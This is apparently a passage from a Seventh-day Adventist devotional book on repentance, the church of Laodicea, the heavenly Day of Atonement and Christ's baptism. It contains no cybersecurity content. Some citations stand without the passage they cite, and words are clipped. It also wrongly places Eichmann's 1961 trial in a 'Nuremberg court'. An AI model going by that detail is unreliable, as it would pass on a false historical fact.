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clearest definition has been impossible until history
reaches the last of the seven churches. The original
word "repentance" means a looking back from the
perspective of the end: metanoia, from meta
("after") and no us ("mind"). Thus, repentance can
never be complete until the end of history. Like the
great Day of Atonement, its full dimension must be
a last-day experience. To that moment in time we
have now come.
Unless our veiled eyes can see the depth of our
sin as identical to that of Peter's congregation at
Pentecost, only a veneer repentance can be
possible, thus perpetuating the Lord's problem for
further generations. It is not enough that sin be
legally forgiven; it must also be blotted out.
Not only are we frustrated by the long delay;
Christ Himself is deeply pained. We can turn off
the horrifying nightly news and find relief in sleep;
but the Lord can't do that. He can "neither slumber
nor sleep" (Psalm 121:4). The agony of a suffering,
terrorized world weighs heavily upon Him. He
cannot take a vacation to some remote corner of
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His universe and forget it. In our weakness, we can
feel a little for the agonies of starving, homeless,
despairing people when we know about them, yet
Jesus is infinitely more sensitive and
compassionate than the best of us. In ancient times
"in all their affliction He was afflicted" (Isaiah
63:9), and He is still the same today.
(Education, page 263).
Our Lord is not an impassive Buddha-like deity
in a nirvana trance. Our prayers do not move Him
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to a pity that He would not otherwise feel. When
we beg Him, "Please do something to help," He
responds hopefully, "Why don't you do
something?"
When the mind and heart of "the angel of the
church" are truly at-one with Christ, the roadblock
will be eliminated. Then He will employ His
people effectively to do what He wants done for
the world. It is especially of Seventh-day
Adventists that Ellen White said, "The
disappointment of Christ is beyond description."
How can we relieve that disappointment?
The Lord's Problem Has Become The Crisis of
the Ages
The Bible reveals God in a dimension unknown
in the Qur'an, the Vedic Hindu, or Buddhist,
scriptures. The world's pain is God's pain, only
intensified. Think how a loving, sensitive father
feels the pain of a wounded child; then multiply
that over six billion times.
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Revelation goes a step further and pictures
Christ as an eager Bridegroom who longs for "the
marriage of the Lamb" to come soon, but who is
disappointed that His bride has not yet "made
herself ready" (Revelation 19:7-9). She has kept
Him at arm's length all this while. This means that
as yet she cannot be truly reconciled to Him. When
she is at-one with Him in heart and mind, every
church will be pulsating with the life of the Holy
Spirit, overflowing with Christlike love. Each
member will be spiritually alert, radiant with a
miraculous unselfishness that transforms him/her
into a unique revelation of Christ.
Some inspired statements declare that this fullfledged
revival will never take in the "whole
church," because there will always be tares among
the wheat. But there are other equally inspired
statements that say that "the whole church" is to be
animated and pervaded by the Holy Spirit,
overflowing with Christlike love. How can these
apparent contradictions be harmonized?
God's purpose in His people will be gloriously
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fulfilled in "a revival of true godliness among us,"
"that the way of the Lord may be prepared," "a
great movement—a work of revival—going
forward in many places. Our people were moving
into line, responding to God's call." "The spirit of
prayer will actuate every believer and will banish
from the church the spirit of discord and strife. …
All will be in harmony with the mind of the Spirit."
"In visions of the night, representations passed
before me of a great reformatory movement among
God's people . . . even as was manifested before the
day of Pentecost. … The world seemed to be
lightened with the heavenly influence. … There
seemed to be a reformation such as we witnessed in
1844. … Covetous ones became separated from the
company of believers" (compare Testimonies, vol.
9, pages 20-23, 46, 47, 126; vol. 8, pages 247-251;
Selected Messages, Book One, pages 116, 117,
121-128).
The apparent contradictions are resolved by
that last sentence. There is a pre-shaking and a
post-shaking church. The post-shaken church will
fulfill these prophecies.
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This grand finale of the work of God's Spirit
will be a work of extraordinary beauty and
simplicity: (Christ's Object Lessons, pages
415, 416).
Committee actions, polished programs, highpressure
promotion, can never truly motivate.
Truth must be the vehicle, reaching human hearts,
for only truth, "the third angel's message in verity,"
can penetrate the secret recesses of the human soul.
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Chapter 6
A First In Human History: A
Day of Atonement Repentance
The cleansing of the sanctuary since 1844 is a
non-negotiable truth to Seventh-day Adventists, the
foundation of our existence. It also has profound
ethical significance.
Why does an "antitypical" heavenly Day of
Atonement involve a special experience for God's
last-day people on earth? Has He arbitrarily
withheld that unique blessing from previous
generations? Would it be fair for Him to grant the
last generation something He deliberately kept
away from others in past ages?
No, but previous generations were not able to
avail themselves of the full grace Heaven longed to
bestow. Not God's unwillingness to give, but man's
unreadiness to receive, has caused the long delay of
thousands of years. History had to be allowed to
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un its course. In no other way could the human
race, "Adam," learn.
An example is ancient Israel. The Lord was
ready and willing at Mt. Sinai to grant them the
same justification by faith which Abraham enjoyed
when "he believed in the Lord" (Genesis 15:6), and
the same precious experience that Paul's Letter to
the Romans described. But their unbelief made it
impossible at that time, and the law had to become
their "schoolmaster" or "tutor" to lead them on a
long detour of history, back to the place where
Abraham was, that they "might be justified by
faith" (Galatians 3:24, KJV).
The prophetic word, "for two thousand three
hundred days, then the sanctuary shall be cleansed"
(Daniel 8:14), predicts that during the last era of
human history, the faith of God's people will
mature, making possible their full reception of
Heaven's grace. The prophecy of Daniel
comprehends their spiritual development "to the
measure of the stature of the fulness of Christ"
(Ephesians 4:13).
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God withheld nothing from Adam that
arbitrarily barred him from the company of the
144,000. Rather, his own spiritual immaturity made
it impossible to appropriate the grace an infinite
God would have granted even then. God could
have cleansed the sanctuary anciently, if human
spiritual development had made it possible. We
must not limit God's infinite resources; the
deficiency has been ours. Jesus calls every
generation to repent, for "all have sinned." "The
knowledge of sin" comes through "the law"
(Romans 3:23, 20). The Holy Spirit imparts this
wholesome knowledge of his guilt to "every man."
Its "light" has passed no one by (John 1:9). But a
final generation will receive the gift of repentance,
a metanoia, an after-perception, a contrite view of
the past as history finally reveals it. Then it will be
said, "The marriage of the Lamb has come, and his
wife has made herself ready."
How Repentance Takes Place
King David's double crime of adultery and
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murder illustrates how the Holy Spirit convicts of
sin. For the Holy Spirit to abandon him would have
been the cruelest punishment possible. No, God
loved him still. The Holy Spirit pricked him with
sharp conviction. "Day and night Your hand was
heavy upon me," David says. The Lord "broke" his
"bones," metaphorically. Then, David adds, "I
acknowledged my sin to You, and my iniquity I
have not hidden. I said, I will confess my
transgressions to the Lord,' and You forgave the
iniquity of my sin" (Psalm 51:3-5). This was
genuine repentance.
One may never have heard the name of Christ,
but he senses in his heart that he has sinned, and
come short of the glory of God. There is an
awareness, however dim, of a perfect standard in
the divine law as it is in Christ. The Holy Spirit
penetrates human hearts with the conviction of
"sin, and of righteousness" (John 16:8-10).
Guilt, Like Pain, Is a Signal That Something Is
Wrong
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A wound in the body triggers pain messages to
the brain. While a painkilling drug can
superficially alleviate the discomfort, it provides no
healing. Serious disease or death can follow an
artificial suppression of symptoms. Thus, when the
sinner rejects the pain of the Holy Spirit's merciful
conviction of sin, spiritual sickness and death
follow Pain in the body prompts the sufferer to
seek healing. African lepers, whose sense of pain is
anesthetized, lose fingers at night, bitten by rats
because they cannot feel. Of how much greater
value to us is the Holy Spirit's painful conviction of
sin.
The grateful sinner prays, "Thank You, Lord,
for loving me so much as to convict me of my sin. I
confess the full truth. You have provided a
Substitute who bears my penalty in my stead, and
His love motivates me to separate from the sin that
has crucified Him." This miracle occurred in
David's heart when he prayed," will declare my
iniquity; I will be in anguish over my sin" (Psalm
38:18).
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Such repentance reflects not only sorrow for sin
and its results, but a genuine abhorrence of it. It
produces an actual turning away from the sin. The
law can never do this for anyone. This miracle
comes only by grace. "The law brings about
wrath," imparting only a terror of judgment, but
when grace works repentance, "old things have
passed away; behold, all things have become new"
(Romans 4:15; 2 Corinthians 5:17). Sin, once
loved, is now hated, and righteousness, once hated,
is now loved. "The goodness of God leads you to
repentance" (Romans 2:4).
Such repentance includes the actual "remission
of sins," that is, sending them away (Luke 24:47).
The New Testament word for forgiveness means a
separation from sin, a deliverance from its power.
True repentance thus actually makes it impossible
for a believer in Christ to continue living in sin.
The love of Christ supplies the grand motivation, a
change in the life (2 Corinthians 5:15).
One finds a kind of joy in the experience:
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The sadness that is used by God brings a
change of heart that leads to salvation—and there
is no regret in that! But sadness that is merely
human causes death. See what God did with this
sadness of yours: how earnest it has made you. …
Such indignation, such alarm, such feelings, such
devotion (2 Corinthians 7:10, 11, TEV).
Peter manifested genuine repentance. We can
identify with him, for he failed miserably, yet he
accepted the precious gift of repentance which
Judas refused. After basely denying his Lord with
cursing, Peter "went out and wept bitterly" (Mark
14:71; Luke 22:62), His repentance never ceased.
Always afterward tears glistened in his eyes as he
thought of his sin contrasted against the Lord's
kindness to him. But these were happy tears. The
tempest of contrition always brings the rainbow of
divine forgiveness. Even medical scientists
recognize there is wholesome healing therapy in
tears of contrition, for men as well as for women.
We ruin our health and shorten our lives when we
resist or suppress the tenderness, the melting
influence of God's Spirit that tries to soften our
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hard hearts.
The Lord Himself who "so loved the world that
He gave His only begotten Son" has prepared the
way for His gospel He has given humanity this
capacity to feel the personal pain of conviction of
sin. It is a clear evidence of His love!
But legalism or a perverted "gospel" shortcircuits
this work of the Holy Spirit in human
hearts. As a consequence, millions are not able to
experience the repentance that alone can heal the
hurt they know deep inside. But Scripture foretells
a time when the gospel will be restored to its
pristine purity and the earth will be "illuminated"
with its glory (Revelation 18:1-4). It will be like
restoring a broken electric connection. The circuit
will be complete—the Holy Spirit's conviction of
sin will be complemented by the pure gospel, and
the current of Heaven's forgiveness will flow
through every repentant soul.
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This is Solid Happiness
Far from being a negative experience, such
repentance is the foundation of all true joy. As
every credit must have a corresponding debit to
balance the books, so the smiles and happiness of
life, to be meaningful, must be founded on the tears
of Another upon whom was laid "the chastisement
for our peace" and with whose "stripes we are
healed" (Isaiah 53:5).
Our tears of repentance and sorrow for sin do
not balance the books of life. Rather, our
appreciation of what it cost Him to bear our griefs
and carry our sorrows—this brings salvation within
our reach.
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the heart before Him (Acts of the Apostles, page
561).zekiel 36:31
(Christ's Object Lessons, pages 160, 161).
A repentance like this is beyond us to invent or
to initiate; it must come as a gift from above. God
has exalted Christ "to give repentance to Israel"
(Acts 5:31). And to the Gentiles also He "granted .
. . repentance to life" (chapter 11:18). Is He any
less generous to us today? The capacity for such a
change of mind and heart is a priceless treasure
worth more than all the millions in Las Vegas.
Even the will to repent is His gift, for without it we
are "dead in trespasses and sins" (Ephesians 2:1).
Such an experience seems almost wholly out of
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place in this last decade of the 20th century. Can a
sophisticated modern church ever receive it?
What Makes Repentance Possible?
The Bible links "repentance toward God and
faith toward our Lord Jesus Christ" (Acts 20:21).
Repentance is not a cold calculation of options and
their consequences. It is not a selfish choice to seek
an eternal reward or to flee the pains of hell. It is a
heart experience that results from appreciating the
sacrifice of Christ. It cannot be imposed by fear or
terror, or even by hope of immortality. Only "the
goodness of God leads you to repentance."
The ultimate source from which this superb gift
flows is the truth of Christ's sacrifice on the cross.
As faith is a heart appreciation of the love of God
revealed there, so repentance becomes the
appropriate exercise of that faith which the
believing soul experiences. We follow where faith
leads the way as illuminated by the cross— down
on our knees. Peter's call to "repent, and let every
one of you be baptized" followed the most
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convicting sermon on the cross that has ever been
preached (Acts 2:16-38). The compelling response
at Pentecost was the fulfillment of Jesus' promise:
"I, if I am lifted up from the earth, will draw all ...
to Myself" (John 12:32).
Why don't we see more of this precious gift? Is
modern man too sophisticated to welcome it? No,
human nature is not beyond redemption, even in
these last days. Genuine repentance with "works
befitting repentance" is rare only because that
genuine preaching of the cross is rare (compare
Acts 26:20; 2 Corinthians 5:14). Its essence is
powerfully set forth in Isaac Watts' memorable
words:
When I survey the wondrous cross
On which the Prince of glory died,
My richest gain I count but loss
And pour contempt on all my pride.
All through past ages since Pentecost, believing
sinners have individually received the gift.
Sleeping in the dust of the earth, they all await the
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"first resurrection." Theirs has been one phase of
repentance. Without a preparation for His coming,
on the part of His living people, Christ cannot
come. Until then, those sleeping saints of all ages
who personally repented are doomed to remain
prisoners in their dusty graves. Thus the "remnant"
must unlock this logjam of last-day events by a
special repentance. Such an event—unique in
history—is the reason for the Seventh-day
Adventist Church's existence.
What is Different About Laodicea's
Repentance?
Laodicea is not innately worse than the other
six churches. But since she is living in the last days
which is the time of the cleansing of the heavenly
sanctuary, a never-before phase of our great High
Priest's Day-of-Atonement ministry calls for a
never-before kind of response. This becomes
another phase of repentance.
While Christ performs His "final atonement" in
the second apartment of the heavenly sanctuary,
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can we continue living as though He were still in
the first? The gap between Laodicea's unique
opportunities and her true state has widened so
much that her pathetic condition has become the
most difficult problem the Lord has ever had to
deal with. And unless we walk carefully, we are in
the greatest peril of the ages. Ellen White was
given a glimpse of the significance of the transfer
of Christ's ministry from the heavenly sanctuary's
first apartment to the second: [in the first apartment];
they did not know that Jesus had left it. Satan
appeared to be by the throne, trying to carry on the
work of God. I saw them look up to the throne, and
pray, "Father, give us Thy Spirit." Satan would
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then breathe upon them an unholy influence; in it
there was light and much power, but no sweet love,
joy and peace. Satan's object was to keep them
deceived, and to draw back and deceive God's
children (Early Writings, pages 55, 56).
In a later statement, the author spoke of those
who "have no knowledge of the way into the most
holy [apartment,] and they can not be benefited by
the intercession of Jesus there." We used to assume
that "those" were Sunday-keepers; but now there
are many within the remnant church who "have no
[such] knowledge":. … He
also comes as an angel of light, and spreads his
influence over the land by means of false
reformations. The churches are elated, and consider
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that God is working marvelously for them, when it
is the work of another spirit (Ibid., page 261).
The experience of Laodicea will fit the
potential of the heavenly Day of Atonement,
because the message to Laodicea parallels this
cleansing of the sanctuary. What does this mean in
practical, understandable terms?
Repentance and the Cleansing of the Sanctuary
The "daily" ministry in the sanctuary includes
the forgiveness of sins, but the "yearly" goes
further. The blotting out of sins takes place in the
"times of refreshing," that is, the cleansing of the
sanctuary (see Acts 3:19). The Day-of-Atonement
ministry includes the blotting out of sins, and can
occur only at the end of time, after the close of the
2300 years (see The Great Controversy, pages 421,
422, 483).
In these last days there is something Laodicea
"does not know," some deeper level of guilt that
has never been discerned. Here is where that
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deeper repentance takes place.
It will not suffice for us to say, "Let the
heavenly computers do the work—our sins will be
blotted out when the time comes without our
knowing about it." There is no such thing as
automatic, computerized blotting out of sins that
takes place without our knowledge and
participation. It is we who are to repent
individually and understandably, not the heavenly
computers. "The expulsion of sin is the act of the
soul itself," not of heavenly computers (The Desire
of Ages, page 466).
A little thought will make it clear that no sin
can be "blotted out" unless we come to see it and
confess it understandably. Our deeper level of sin
and guilt must be realized if our Saviour's complete
ministry for us is to be appreciated. Nothing short
of this can be adequate repentance in the Day of
Atonement.
Hence Laodicea's experience of repentance is
unique in world history. All things are being held
103
up for lack of it. Our plane is freighted with the
precious cargo of the loud cry "good news"
message to enlighten the earth. There is no time
now for more delay—even to wait for persecution;
when persecution comes, it may be too late.
Many inspired statements make clear the
principle of a deeper layer of guilt beneath the
surface. Here are a few examples:
(Bible Commentary, vol. 5, page 1152).
The Laodicean message must be proclaimed
with power; for now it is especially applicable. …
Not to see our own deformity is not to see the
beauty of Christ's character. When we are fully
awake to our own sinfulness, we shall appreciate
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Christ. … Not to see the marked contrast between
Christ and ourselves is not to know ourselves. He
who does not abhor himself cannot understand the
meaning of redemption. … There are many who do
not see themselves in the light of the law of God.
They do not loathe selfishness; therefore they are
selfish (Review and Herald, September 25, 1900).
The message to the Laodicean church reveals
our condition as a people. … Ministers and churchmembers
are in danger of allowing self to take the
throne. … If they would see their defective,
distorted characters as they are accurately reflected
in the mirror of God's Word, they would be so
alarmed that they would fall upon their faces
before God in contrition of soul, and tear away the
rags of their self-righteousness (Ibid, December 15,
1904).
The Holy Spirit will reveal faults and defects of
character that ought to have been discerned and
corrected. … The time is near when the inner life
will be fully revealed. All will behold, as if
reflected in a mirror, the working of the hidden
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springs of motive. The Lord would have you now
examine your own life, and see how stands your
record with Him (Ibid, November 10, 1896).
If we have defects of character of which we are
not aware, He [the Lord] gives us discipline that
will bring those defects to our knowledge, that we
may overcome them. … Your circumstances have
served to bring new defects in your character to
your notice; but nothing is revealed but that which
was in you (Ibid, August 6, 1889).
There is nothing "negative" in these quoted
paragraphs. If one were sick with a fatal cancer,
one would welcome as precious good news the
surgeon's announcement that immediate surgery
can remove the cancerous tissue and save one's life.
The Greatest Sin of All the Ages
What brought ancient Israel's ruin? She refused
to accept her Messiah's message, which exposed a
deeper level of guilt than she had previously
realized. The Jews of Christ's day were not by
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nature more evil than any other generation; it was
simply theirs to act out to the full the same enmity
against God that all the fallen sons and daughters
of Adam have always had by nature. As our natural
"carnal mind is enmity against God" (Romans 8:7),
they simply demonstrated this fact visibly in the
murder of their divine Visitor. Those who crucified
the Saviour hold up a mirror wherein we can see
ourselves.
Horatius Bonar learned this in a dream in
which he seemed to be witnessing the crucifixion.
In a frenzy of agony, as in a nightmare, he tried to
remonstrate with the cruel soldiers who were
driving spikes through Christ's hands and feet. He
laid his hand on the shoulder of one to beg him to
stop. When the murderer turned to look at him,
Bonar recognized his own face.
Laodicea's repentance will go down to the
deepest roots of this natural "enmity against God."
This deeper phase of repentance is repenting of
sins that we may not have personally committed,
but which we would have committed if we had the
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opportunity. The root of all sin, its common
denominator, is the crucifixion of Christ. A
repentance for this sin is appropriate because the
books of Heaven already record this sin written
against our names; and the Holy Spirit will bring
this presently unknown sin to our knowledge:
That prayer of Christ for His enemies embraced
the world. It took in every sinner that had lived or
should live. … Upon all rests the guilt of
crucifying the Son of God (The Desire of Ages,
page 745).
God's law reaches the feelings and motives, as
well as the outward acts. It reveals the secrets of
the heart, flashing light upon things before buried
in darkness. God knows every thought, every
purpose, every plan, every motive. The books of
Heaven record the sins that would have been
committed had there been opportunity. God will
bring every work into judgment, with every secret
thing. … He reveals to man the defects that mar his
life, and calls upon him to repent, and turn from sin
(Bible Commentary, vol. 5, page 1085).
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"Opportunity" has often come to others in the
form of alluring, overmastering temptations
through circumstances we ourselves may not have
experienced. None of us can endure the full
consciousness of what we would do if under
sufficient pressure—terrorism, for example. (The
enforcement of the "mark of the beast" will provide
the ultimate "opportunity.") But our potential sin is
already recorded in "the books of Heaven."
A Jewish concentration camp survivor of the
Holocaust discovered this truth in an unusual way.
Yehiel Dinur walked into the Nuremberg court in
1961, prepared to testify against Nazi butcher
Adolf Eichmann. But when he saw Eichmann in
his humbled status, Dinur suddenly began to cry,
then fell to the floor. It was not hatred or fear that
overcame him. He suddenly realized that Eichmann
was not the superman that the inmates had feared;
he was an ordinary man. Says Dinur: "I was afraid
about myself. I saw that I am capable to do this. I
am . . . exactly like he!" Mike Wallace of "60
Minutes" told the story on TV. He summed it up:
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"Eichmann is in all of us.".
The Laodicean call to repentance is the essence
of the message of Christ's righteousness. Whatever
sins other people are guilty of, they obviously had
the "opportunity" of committing them. Somehow
the temptations were overmastering to them. The
deeper insight the Holy Spirit brings to us is that
we are by nature no better than they. When
Scripture says that "all have sinned," it means, as
the New English Bible translates it, "all alike have
sinned" (compare Romans 3:23, KJV). Digging
down to get the roots out, —this is now "present
truth."
There is no way that we can appreciate the
heights of Christ's glorious righteousness until we
are willing to recognize the depths of our own
sinfulness. For this reason, to see our own potential
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for sin is inexpressibly good news!
I take, O cross, thy shadow for my abiding
place;
I ask no other sunshine than the sunshine of His
face;
Content to let the world go by, to know no gain
nor loss,
My sinful self my only shame, my glory all the
cross.
—Elizabeth Clephane
What are the practical aspects of this ultimate
disclosure of our true guilt, and of God's much
more abounding grace that cleanses it?
Our search must continue.
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Chapter 7
Christ's Repentance for Sins
He Never Committed
How could Christ be baptized with John's
"baptism of repentance" if He never had an
experience of repentance? And how could a sinless
Person experience repentance?
Both the Bible and Ellen White's writings make
it clear that Jesus Christ experienced repentance.
But it seems almost preposterous to imagine how
or why a sinless person could experience
repentance.
This does not mean that He experienced sin, for
never in thought, word, or deed did He yield to
temptation. Peter says of Him, "Who committed no
sin, nor was guile found in His mouth" (1 Peter
2:22).
But John the Baptist "baptized with a baptism
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of repentance" (Acts 19:4), and therefore must
have baptized Jesus with the only baptism he knew.
His baptism implied on the sinless Candidate's part,
an experience of repentance. Otherwise, the
baptism would have been a farce, and both John
and Jesus would be guilty of hypocrisy. That is
unthinkable.
How could Christ experience repentance if He
had never sinned? We have always assumed that
only evil people need to repent, or can repent. It is
shocking to think that good people can repent, and
incomprehensible how a perfect Person could
repent.
Nevertheless, if Christ was "baptized with a
baptism of repentance," clearly He did experience
repentance. But the only kind a sinless person
could experience is corporate repentance. Thus,
Jesus' repentance is a model and example of the
kind He expects of Laodicea. It has special
meaning for us who live today because His Day-of-
Atonement ministry will prepare a people to
become like Him in character.
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Why Did John Baptize the Sinless Jesus?
Occasionally people such as the thief on the
cross cannot for physical reasons be baptized. Was
Jesus' baptism a legalistic provision, a deposit of
merit to be drawn on for such emergencies in a
substitutionary way? We have often thought so,
and the theory goes like this: (a) One must be
baptized in order to enter Paradise; (b) the poor
thief nailed to a cross cannot be immersed; (c)
Jesus' baptism thus helps him out like a credit
transfer in a bank transaction; (d) the appropriate
"deposit" is placed to the account of the unbaptized
thief, and (e) thus he can be saved. Is this the
purpose of Christ's baptism? Many have thought
so, but such legalistic shenanigans are foreign to
the spirit of the plan of salvation.
If any valid element lurks in this legalistic
concept, the idea leaves us cold. Most people have
had opportunity to be immersed, and believers
have complied. It may be a comfort to those few
who can't be baptized, but what then could Jesus'
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aptism mean to the vast proportion who can be?
Another theory has been that John baptized
Jesus to demonstrate the proper physical method of
administering the ordinance, a physical example by
the Teacher. This too leaves us cold.
Jesus was sincere when He asked John to
baptize Him. John was also sincere in refusing. But
Jesus explained why He wanted to be baptized. He
answered the prophet's objections, "Thus it is
fitting for us to fulfill all righteousness" (Matthew
3:15).
Was Jesus suggesting that He and John should
act out a play? The essence of "righteousness" is
sincerity and genuineness. Our divine Example
could never condone such a performance without
the appropriate heart experience. Play-acting could
never "fulfill all righteousness." For Christ to
subject Himself to baptism without an experience
appropriate to the deed would have been to give an
example of hypocrisy, the last thing Jesus wants
from anyone! Never does He want anyone to
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experience the act of baptism without true
repentance.
John the Baptist obviously had not understood
the principle of corporate guilt and repentance.
Once that truth is recognized, Jesus' baptism begins
to make sense.
How Close Jesus Came to Us
Jesus asked for baptism because He genuinely
identified Himself with sinners. If Adam represents
the entire human race, Jesus became the "last
Adam," taking upon Himself the guilt of
humanity's sin (see 1 Corinthians 15:45). Not that
He sinned, but He felt how the guilty sinner feels.
He put Himself fully in our place. He put His arms
around us as He knelt down beside us, dripping wet
on the banks of the Jordan, asking His Father to let
Him be the Lamb of God. His submission to
baptism indicates that "the Lord has laid on Him
the iniquity of us all." His baptism therefore
becomes an injection of healing repentance for sin
into the body of humanity. Peter says that His
116
identity with our sins was deep, not superficial, for
He "bore our sins in His own body on the tree"
(Isaiah 53:6; 1 Peter 2:24).
Christ did not bear our sins as a man carries a
bag on his back. In His own "body" in His soul, in
His nervous system, in His conscience, He bore the
crushing weight of our guilt. So close did He come
to us that He felt as if our sins were His own. His
agony in Gethsemane and on Calvary was real.
Ellen White describes Christ's deep heartfelt
repentance for us in these perceptive comments:
After Christ had taken the necessary steps in
repentance, conversion, and faith in behalf of the
human race, He went to John to be baptized of him
in Jordan (General Conference Bulletin, 1901, page
36.)
John had heard of the sinless character and
spotless purity of Christ. … [He] could not
understand why the only sinless one upon the earth
should ask for an ordinance implying guilt,
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virtually confessing, by the symbol of baptism,
pollution to be washed away. . . .
Christ came not confessing His own sins; but
guilt was imputed to him as the sinner's substitute.
He came not to repent on His own account; but in
behalf of the sinner. … As their substitute, He
takes upon Him their sins, numbering Himself with
the transgressors, taking the steps the sinner is
required to take; and doing the work the sinner
must do (Review and Herald, January 21, 1873.)
There is profound truth here:
1.Though sinless, Christ did in His own soul
experience repentance. Biblical support exists
for these repeated statements.
2.His baptism shows that He knows how "every
repenting sinner" feels. In our selfrighteousness
we cannot feel such sympathy
with "every repenting sinner." That's a major
reason why we win so few souls! Only a
Perfect Person can experience a perfect and
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complete repentance such as that. But we can
become partakers of the divine nature.
3.His taking "the steps the sinner is required to
take" underscores His identity with us. We
cannot in truth "behold the Lamb of God which
taketh away the sin of the world" without
experiencing union with Him. Thus it is vital to
"behold" Jesus. Lukewarm impenitence stems
from either not seeing Him clearly or from
rejecting Him. A closer look at "the Lamb of
God" enables us to identify our deep sin that
needs to be taken away.
Jesus in His ministry had extraordinary power
to win human hearts. Why? In His pre-baptism
"repentance, conversion, and faith in behalf of the
human race," He learned "what was in man," for
He "had no need that anyone should testify of man"
(John 2:25). Thus He learned to speak as "no man
ever spoke" (John 7:46). Only through these
experiences could He break the spell of the world's
enchantment and say to whom He would, "Follow
Me," passing by no human as worthless, inspiring
119
with hope the "roughest and most unpromising."
"To such a one, discouraged, sick, tempted, fallen,
Jesus would speak words of tenderest pity, words
that were needed and could be understood"
(Ministry of Healing, page 26.) We can begin to
see that we ourselves can never know such drawing
power with people until we partake of the kind of
repentance that Christ experienced in our behalf.
Jesus' perfect compassion for every human soul
stemmed from His perfect repentance in his/her
behalf. He becomes the second Adam, partaking of
the body, becoming one with us, accepting us
without shame, "in all things … made like His
brethren" (Hebrews 2:17).
The Vision of a Caring Church
In our role as a caring church we recognize our
need of this genuine, unfailing Christ-like love. But
we can preach about it a thousand years and never
get beyond the window-dressing that psychological
techniques can offer, except through the mature
faith that will characterize Laodicea's final
120
epentance. Such faith appreciates His character,
seen more clearly through repentant eyes. His
repentance represents a vital aspect of Immanuel's
sinless character.
Through union with Him by faith we become
part of the corporate body of humanity in Him. Is it
not gross selfishness to want to appropriate Christ,
yet refuse to appropriate His love for sinners? How
can we receive Him and not receive that love
which is "in Him"?
Truly, we have infinitely more reason to feel
close to sinners than did our sinless Lord, for we
ourselves are sinners; but our human pride holds us
back from the warm empathy that Christ felt. How
to experience this closeness is the purpose of true
repentance.
The first step must be to recognize our
corporate involvement with the sin of the whole
world. Although we were not physically present at
the events of Calvary two thousand years ago, "in
Adam" the whole human race was there. So surely
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are we in Adam's sin.
Suppose that we had no Saviour. If any of us
were left to develop to the full the evil latent in our
own soul, if we were tempted to the ultimate as
others have been tempted, we would surely
duplicate their sin if given enough time and
opportunity—that is, if there were no Saviour to
save us from ourselves.
Suppose Hitler had lived as long as
Methuselah. None of us dares to say, "I could
never do what others have done!"
The apostle John says it is only when we
confess a sin that we can experience Christ's
"faithful" forgiveness and cleansing from it (1 John
1:9). But to confess a sin without sensing its reality
becomes lip-service, perilously close to hypocrisy.
Skin-deep confession and skin-deep repentance
bring skin-deep love, skin-deep devotion. Jesus
teaches the principle that we must realize we have
been forgiven much before we can learn to "love
much." Mary Magdalene was "forgiven . . . much"
122
ecause she had been possessed by "seven devils"
(see Luke 7:47; 8:2). Must we also go into devil
possession, to "love much" after being forgiven?
No, there is a better way: realize that we would be
possessed by seven devils if it were not for the
grace of a Saviour!
When Paul said, "I have been crucified with
Christ" (Galatians 2:20), he meant that he
identified himself with Christ. In the same way we
identify ourselves with Christ's repentance in
behalf of the human race. The footsteps of Christ
are a path to corporate repentance.
In the light of Christ's cross the true dimensions
of our sin begin to take shape out of the fog. Note
how an inspired comment discloses our ultimate
sin, for which we can "individually repent":
In the day of final judgment, every lost soul
will understand the nature of his own rejection of
truth. The cross will be presented, and its real
bearing will be seen. … Before the vision of
Calvary with its mysterious Victim, sinners will
123
stand condemned. … Human apostasy will appear
in its heinous character (The Desire of Ages, page
58).
We are still in a world where Jesus, the Son of
God, was rejected and crucified. … Unless we
individually repent toward . . . our Lord Jesus
Christ, whom the world has rejected, we shall lie
under the full condemnation that the action of
choosing Barabbas instead of Christ merited. The
whole world stands charged today with the
deliberate rejection and murder of the Son of God.
… Jews and Gentiles, kings, governors, ministers,
priests, and people—.)
124
Let us note:
1.Even "ministers" and church members share the
guilt of crucifying Christ. Apart from the grace
of God manifested through personal
repentance, "every sinner" shares it.
2.Without this grace, "every sinner" would repeat
the sin of Christ's murderers if given enough
time and opportunity.
3.The sin of Calvary is an out-cropping of human
alienation from God of which we are not aware,
except by enlightenment of the Holy Spirit. At
Calvary, all the masks came off.
4.In a real sense we were all at Calvary, not
through preexistence or pre-incarnation, but
through corporate identity "in Adam." Adam
shares that guilt with us today.
5.The "righteous" in their own eyes, including
"ministers" and "priests" of "all . . . sects," must
of course include our own denomination,
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except for the grace of repentance.
The lesson of history is that the little acorn of
our "carnal mind" needs only enough time and
opportunity to grow into the full oak of the sin of
Calvary. But he who receives "the mind of Christ"
will necessarily have also the repentance of Christ,
and the love of Christ. Therefore, the closer he
comes to Christ, the more he will identify with
every sinner on earth through corporate repentance.
The apostle Paul first articulated this brilliant
idea. When we recognize it, we begin to feel that
we too are "debtor both to Greeks, and to
barbarians" (Romans 1:14). Since we become
organically joined to Christ in faith, His concerns
become ours, just as the concerns of one organ of
the body become the concerns of all the other
members of the body. Each believing member of
the body longs to fulfill the intent of the Head, just
as a violinist's fingers "long" to perform skillfully
the intent of the violinist's mind. The miracle of
miracles takes place in the heart and life of the one
who believes the gospel: he begins to love as Christ
126
loves!
Why Christ's Yoke is "Easy,"
And His Burden "Light"
This experience resolves a thousand painful
battles with temptation. Through corporate union
with Christ, we genuinely feel we possess nothing
by our own right. All our struggles with
materialism, love of the world, obsession with
money and things, sensuality, self-indulgence, are
transcended at last by the new compulsion of this
liberating oneness of mind with Christ. Paul's
"debtor" idea initiates this new love for others.
To make this very practical, we can ask: How
did Christ love sinners? If He were to come into
our churches today, we might be scandalized. He
"recognized no distinction of nationality, or rank or
creed." He would "break down every wall of
partition." In His example there is no caste, [but] a
religion by which Jew and Gentile, free and bond,
are linked in a common brotherhood, equal before
God. No question of policy influenced His
127
movements. He made no difference between
neighbors and strangers, friends and enemies. …
He passed by no human being as worthless, but
sought to apply the healing remedy to every soul.
… Every neglect or insult shown by men to their
fellow men, only made Him more conscious of
their need of His divine-human sympathy. He
sought to inspire with hope the roughest and most
unpromising (Ministry of Healing, pages 25, 26).
Repentance produces this practical love in
human hearts. No longer need we be helpless to
reach others whose evil deeds we do not
understand, and pride ourselves on not having
committed. The gap is bridged that insulates us
from them.
Christ can exercise no healing ministry through
those who are frozen in an unfeeling impenitence.
Since He did no sin yet He knew repentance, we
too can feel a genuine compassion in behalf of
others whose sins we have not personally
committed, because now we realize that our
supposed goodness was only a lack of
128
"opportunity" or a lack of temptation of equal
intensity. Forthwith our work for them comes alive,
and our efforts become effective.
Of others in trouble we genuinely feel, "There
but for the grace of God am I." They will
immediately sense the reality of our identity with
them in the same way that sinners sensed Christ's
identity with them. They will begin to hear in our
